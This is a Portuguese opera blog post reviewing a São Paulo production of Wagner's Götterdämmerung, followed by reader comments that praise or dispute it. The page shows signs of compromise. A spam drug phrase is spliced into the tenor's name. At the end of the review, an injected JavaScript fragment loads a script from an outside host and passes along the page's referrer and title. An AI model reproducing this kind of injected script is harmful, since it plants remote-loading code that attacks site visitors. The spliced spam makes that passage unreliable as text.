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Deuses e Nibelungos na Terra do Sol

Notas sobre o Crepúsculo dos Deuses no Theatro Municipal de São Paulo.


A saga wagneriana no Theatro Municipal de São Paulo estreou seu novo capítulo no último dia 12 de agosto, com resultados mistos. A última parte do “Anel brasileiro” proposta por André Heller-Lopes e Luiz Fernando Malheiro logrou atender ao mínimo, para que uma performance wagneriana se sustente por suas longas quatro horas, mas não conseguiu alçar voos que a elevassem muito acima disso.

Os esforços do competente Luiz Fernando Malheiro resultaram em leitura orquestral interessante, de razoável eloquência nos momentos heróicos (com brilho timbrístico e força nos tutti) e reflexiva nas passagens dramáticas (com andamentos lentos, mas jamais arrastados). Se o Theatro Municipal não conta, por certo, com o melhor grupo orquestral da cidade de São Paulo, a atuação do regente e dos músicos, apesar de algumas visíveis (e audíveis) escorregadelas dos metais, merece sinceros aplausos frente à dificuldade do desafio enfrentado.

Entre as atuações vocais, cabe principiar pela protagonista. A Brünhilde de Eliane Coelho sofreu pela compreensível deterioração vocal (nem mesmo as grandes vozes são eternas) e pelo abuso da voz de peito, inclusive no registro médio. A conjugação desses dois fatores fez com que ela, por vezes, perdesse potência, beleza e fluência de canto e, mesmo, afinação. Alguns momentos de brilho estiveram lado a lado com passagens vocalmente frustrantes ou, mesmo, de canto bastante discutível. Um exemplo de atuação elogiável ocorreu na maior parte da crucial cena da Imolação, cantada com dignidade e bom impacto dramático e musical. O mesmo não se pode dizer a respeito do juramento sobre a lança de Hagen, que soou com menos volume que o desejável e teve agudos pálidos, ou, ainda, do dueto Zu neuen Taten, no qual o fraseado foi excessivamente áspero e pouco musical.

John Daszak proscar without a prescription , por sua vez, tem volume suficiente para cantar Siegfried, mas seu timbre é mais próximo do character tenor do que do tenor heróico. Mesmo assim, foi convincente em passagens importantes, como o juramento sobre a lança no segundo ato, a narrativa de Siegfried e a cena da morte do herói, no terceiro. Não se pode deixar de registrar, porém, certa falta de cor e matizes vocais em momentos como o dueto do prólogo ou o diálogo com as Filhas do Reno. Seja como for, a imensa dificuldade de se encontrar um bom Siegfried entre os tenores wagnerianos em atividade faz com que Daszak seja, efetivamente, uma das (poucas) alternativas viáveis para o papel, inclusive para teatros de maior expressão internacional.

Um brinde para os ouvidos foi a performance de elevado nível de Denise de Freitas (Waltraute), voz bela em todos os registros, com segurança técnica evidente e qualidade de emissão e fraseado. Também merece elogios o Gunther de Leonardo Neiva, cantado com dignidade, bom volume e domínio de estilo.

O Hagen de Gregory Reinhart está distante da potência vocal e dos tons escuros dos maiores intérpretes do papel (como Salminen, Frick e Greindl), mas sua atuação tecnicamente segura fez dele um dos pontos altos da récita. Lamenta-se, apenas, a opção pela caracterização cênica demasiadamente caricata. Já o bom Alberich de Pepes do Valle faz esperar com ansiedade por sua futura atuação em O Ouro do Reno.

A Gutrune de Cláudia Riccitelli começou muito irregular, o que parecia revelar a inadequação de sua voz ligeira para o enfrentamento de um personagem wagneriano. Redimiu-se em parte no terceiro ato, com atuação bem calculada, apesar de algumas notas gritadas.

Uma aparente falta de volume para o canto wagneriano foi o que se notou nas primeiras frases das Nornas (Janette Dornellas, Lídia Schaffer, Keila Moraes). Essa primeira impressão foi superada ao longo dessa misteriosa cena do prólogo, quando as vozes se aqueceram, com razoável resultado final.

As Filhas do Reno (Flávia Fernandes, Maira Lautert e Laura Aimbiré) apresentaram desempenho vocal insatisfatório, com evidentes problemas de afinação e dificuldades para cantarem em conjunto. O surpreendente mundo sonoro criado por Wagner na primeira cena do terceiro ato foi realizado de modo lamentavelmente tortuoso. O coro teve atuação correta, com potência e afinação.

Cabe, por fim, tecer algumas considerações sobre a encenação de André Heller-Lopes. O diretor engendrou algumas boas soluções cênicas, como a rede de retalhos na qual as Nornas lêem o passado, o presente e o futuro, e a “dupla presença” de Siegfried/Gunther, como se refletidos ao espelho, ao final do primeiro ato.

Outras ideias foram menos felizes. A aparente ascensão do corpo de Siegfried ao Walhall não faz qualquer sentido, uma vez que é precisamente a consumação em chamas dos corpos de Siegfried e Brünhilde, unidos na morte pelo amor, que purifica o ouro do anel, antes forjado na renúncia a esse mesmo amor. O anunciado “beijaço” do final, por sua vez, embora seja válido na lógica da redenção pelo amor, pareceu muito mais com uma tentativa frustrada de “épater le bourgeois” do que com uma conclusão convincente para a obra.

O principal problema, entretanto, é que a proposta estruturante da encenação, que consistia em inserir a simbologia wagneriana em um universo pautado no folclore e na cultura brasileiras, simplesmente não funcionou. Ao menos no Crepúsculo dos Deuses, tudo pareceu como um verniz de “brasilidade”, que jamais se entranha verdadeiramente na peça, que acaba por ter seu curso “apesar” dos bois-bumbás, das carpideiras e do mercado de quinquilharias à margem do Reno/Rio Negro.  Aguarde-se para ver como a concepção se desenvolverá em Siegfried e o Ouro do Reno.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if (document.currentScript) {

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6 Comments

  1. Até que enfim um comentärio sem ufanismos e deslumbramento por esse “Ring” nacional. Será que ninguém vai falar assumidamente da trivial execução musical, sem brilho, vozes erroneamente escaladas, metais assassinos e da péssima performance da OSM?
    Visualmente sujo e mal acabado, com um final “espetaculoso” que, com imagens óbvias e mal editadas, tenta ser conceitualmente profundo.
    Coisas boas? … O simples fato de montar a Tetralogia já é um avanço na tão óbvia vida lírica nacional. Mas começar a achar que Bayreuth é aqui, tenham dó !!! (de peito).

  2. Caros Carlos Eduardo, vê-se logo que, como entendedor de ópera, você é um bom advogado. Qual a a sua área? Criminal, comercial, tributária? Dedique-se e dê priopridade a ela, onde o Sr. é Doutor e Mestre. Não basta ser um frequentador assíduo de ópera para se credenciar a criticar uma produção do porte wagneriano. Afinal de contas isso não tem a menor importância, pois o verdadeiro julgamento ocorreu ao final do espetáculo onde o público, que esteve ali por mais de 5 horas, ovacionou os solistas, o coro, a orquestra, o diretor, o regente e a produção, enfim todo o espetáculo. Eliane Coelho recebeu uma das maiores ovações já dirigidas a uma artista lírica brasileira. Sua performance, num dos papéis que mais desafiam o limite da resistência humana, foi digna de qualquer grande teatro do mundo. Felizmente havia 8 câmeras de alta definição gravando o espetáculo, logo estas minhas afirmações poderão ser comprovadas num futuro próximo. Portanto, Sr. Carlos Eduardo, poupe-nos destas expressões equivocadas (passagens vocalmente frustrantes, canto bastante discutível…) são ataques absolutamente infundados a um espetáculo incontestavelmente triunfante! Aliás, para os que ainda não assistiram, corram para o Municipal de São Paulo, pois ainda há uma récita no domingo 25 de agosto. Depois só em DVD, Blu-Ray ou na memória dos felizardos que presenciaram aquela maravilha…

  3. Quanta coisa errada nessa Tetralogia. Só no Brasil é que isso passa !
    Cantora velha demais (Eliana Coelho), folclore nacional misturado com mitologia, metais assassinos OSM e outras mais. Pobre Wagner !

  4. Grande Pianovski, só agora li os seus comentários. Assisti à última récita ao invés da estreia, mas, como de costume, me identifiquei muito com as suas impressões. Uma possível diferença foi o desempenho que, pelo que tenho visto ser comentado, foi bem melhor das Ninfas do Reno no último dia – também começaram com problemas de sincronia, mas me pareceram bem mais graciosas do que se reclamou da estreia.

    Agora, uma diferença radical que pareceu se desenvolver até a última récita foi o “caso” entre Gunther e Siegfried… Parece que essa foi uma ousadia que o diretor deixou acumular até o último dia das apresentações, porque mesmo o “beijaço” final contou com um número maior de casais homossexuais. Ainda sob a impressão dessa escolha bizarra sobre o Gunther e o Siegfried eu escrevi um post lá no blog, acho que, com ou sem o caso (E O BEIJO…) dos dois, houve um esvaziamento do heroísmo de Siegfried que trai muito do sentido tanto dramático quanto musical de Wagner.

    Abraços!

  5. Li os comentarios e criticas da obra, claro, com diferentes opiniões o que é importante. Não vi a obra, uma pena. Uma coisa me espanta sobremaneira, as obras de Wagner são o espelho de mitologias Nórdicas e da idade da pedra especialmente no anel, por favor não estraguem o que esta perfeito com criações fantasiosas e ofensivas à obra.
    Gostei da crítica do Dr. Carlos Eduardo

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Carlos Eduardo Pianovski Ruzyk
Advogado e professor da Faculdade de Direito da UFPR (Graduação e Mestrado) e da Escola de Direito da PUC/PR. Doutor e Mestre em Direito pela UFPR. Frequentador assíduo de óperas e concertos no Brasil e no exterior.